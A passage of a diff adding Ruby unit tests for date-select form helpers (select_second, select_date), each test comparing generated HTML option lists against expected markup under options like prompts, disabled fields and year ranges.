value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18))
+ end
+
+ def test_select_second_with_disabled
+ expected = %(<select id="date_second" name="date[second]" disabled="disabled">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), :disabled => true)
+ end
+
+ def test_select_second_with_field_name_override
+ expected = %(<select id="date_segundo" name="date[segundo]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), :field_name => 'segundo')
+ end
+
+ def test_select_second_with_blank
+ expected = %(<select id="date_second" name="date[second]">\n)
+ expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), :include_blank => true)
+ end
+
+ def test_select_second_nil_with_blank
+ expected = %(<select id="date_second" name="date[second]">\n)
+ expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_second(nil, :include_blank => true)
+ end
+
+ def test_select_second_with_html_options
+ expected = %(<select id="date_second" name="date[second]" class="selector" accesskey="M">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector', :accesskey => 'M')
+
+ #result = select_second(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector', :accesskey => 'M')
+ #assert result.include?('<select id="date_second" name="date[second]"')
+ #assert result.include?('class="selector"')
+ #assert result.include?('accesskey="M"')
+ #assert result.include?('<option value="00">00')
+ end
+
+ def test_select_second_with_default_prompt
+ expected = %(<select id="date_second" name="date[second]">\n)
+ expected << %(<option value="">Seconds</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => true)
+ end
+
+ def test_select_second_with_custom_prompt
+ expected = %(<select id="date_second" name="date[second]">\n)
+ expected << %(<option value="">Choose seconds</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => 'Choose seconds')
+ end
+
+ def test_select_date
+ expected = %(<select id="date_first_year" name="date[first][year]">\n)
+ expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), :start_year => 2003, :end_year => 2005, :prefix => "date[first]")
+ end
+
+ def test_select_date_with_too_big_range_between_start_year_and_end_year
+ assert_raise(ArgumentError) { select_date(Time.mktime(2003, 8, 16), :start_year => 2000, :end_year => 20000, :prefix => "date[first]", :order => [:month, :day, :year]) }
+ assert_raise(ArgumentError) { select_date(Time.mktime(2003, 8, 16), :start_year => Date.today.year - 100.years, :end_year => 2000, :prefix => "date[first]", :order => [:month, :day, :year]) }
+ end
+
+ def test_select_date_can_have_more_then_1000_years_interval_if_forced_via_parameter
+ assert_nothing_raised { select_date(Time.mktime(2003, 8, 16), :start_year => 2000, :end_year => 3100, :max_years_allowed => 2000) }
+ end
+
+ def test_select_date_with_order
+ expected = %(<select id="date_first_month" name="date[first][month]">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_year" name="date[first][year]">\n)
+ expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), :start_year => 2003, :end_year => 2005, :prefix => "date[first]", :order => [:month, :day, :year])
+ end
+
+ def test_select_date_with_incomplete_order
+ # Since the order is incomplete nothing will be shown
+ expected = %(<input id="date_first_year" name="date[first][year]" type="hidden" value="2003" />\n)
+ expected << %(<input id="date_first_month" name="date[first][month]" type="hidden" value="8" />\n)
+ expected << %(<input id="date_first_day" name="date[first][day]" type="hidden" value="1" />\n)
+
+ assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), :start_year => 2003, :end_year => 2005, :prefix => "date[first]", :order => [:day])
+ end
+
+ def test_select_date_with_disabled
+ expected = %(<select id="date_first_year" name="date[first][year]" disabled="disabled">\n)
+ expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]" disabled="disabled">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]" disabled="disabled">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), :start_year => 2003, :end_year => 2005, :prefix => "date[first]", :disabled => true)
+ end
+
+ def test_select_date_with_no_start_year
+ expected = %(<select id="date_first_year" name="date[first][year]">\n)
+ (Date.today.year-5).upto(Date.today.year+1) do |y|
+ if y == Date.today.year
+ expected << %(<option value="#{y}" selected="selected">#{y}</option>\n)
+ else
+ expected << %(<option value="#{y}">#{y}</option>\n)
+ end
+ end
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_date(
+ Time.mktime(Date.today.year, 8, 16), :end_year => Date.today.year+1, :prefix => "date[first]"
+ )
+ end
+
+ def test_select_date_with_no_end_year
+ expected = %(<select id="date_first_year" name="date[first][year]">\n)
+ 2003.upto(2008) do |y|
+ if y == 2003
+ expected << %(<option value="#{y}" selected="selected">#{y}</option>\n)
+ else
+ expected << %(<option value="#{y}">#{y}</option>\n)
+ end
+ end
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_date(
+ Time.mktime(2003, 8, 16), :start_year => 2003, :prefix => "date[first]"
+ )
+ end
+
+ def test_select_date_with_no_start_or_end_year
+ expected = %(<select id="date_first_year" name="date[first][year]">\n)
+ (Date.today.year-5).upto(Date.today.year+5) do |y|
+ if y == Date.today.year
+ expected << %(<option value="#{y}" selected="selected">#{y}</option>\n)
+ else
+ expected << %(<option value="#{y}">#{y}</option>\n)
+ end
+ end
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_date(
+ Time.mktime(Date.today.year, 8, 16), :prefix => "date[first]"
+ )
+ end
+
+ def test_select_date_with_zero_value
+ expected = %(<select id="date_first_year" name="date[first][year]">\n)
+ expected << %(<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_date(0, :start_year => 2003, :end_year => 2005, :prefix => "date[first]")
+ end
+
+ def test_select_date_with_zero_value_and_no_start_year
+ expected = %(<select id="date_first_year" name="date[first][year]">\n)
+ (Date.today.year-5).upto(Date.today.year+1) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_date(0, :end_year => Date.today.year+1, :prefix => "date[first]")
+ end
+
+ def test_select_date_with_zero_value_and_no_end_year
+ expected = %(<select id="date_first_year" name="date[first][year]">\n)
+ last_year = Time.now.year + 5
+ 2003.upto(last_year) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_date(0, :start_year => 2003, :prefix => "date[first]")
+ end
+
+ def test_select_date_with_zero_value_and_no_start_and_end_year
+ expected = %(<select id="date_first_year" name="date[first][year]">\n)
+ (Date.today.year-5).upto(Date.today.year+5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]">\n)
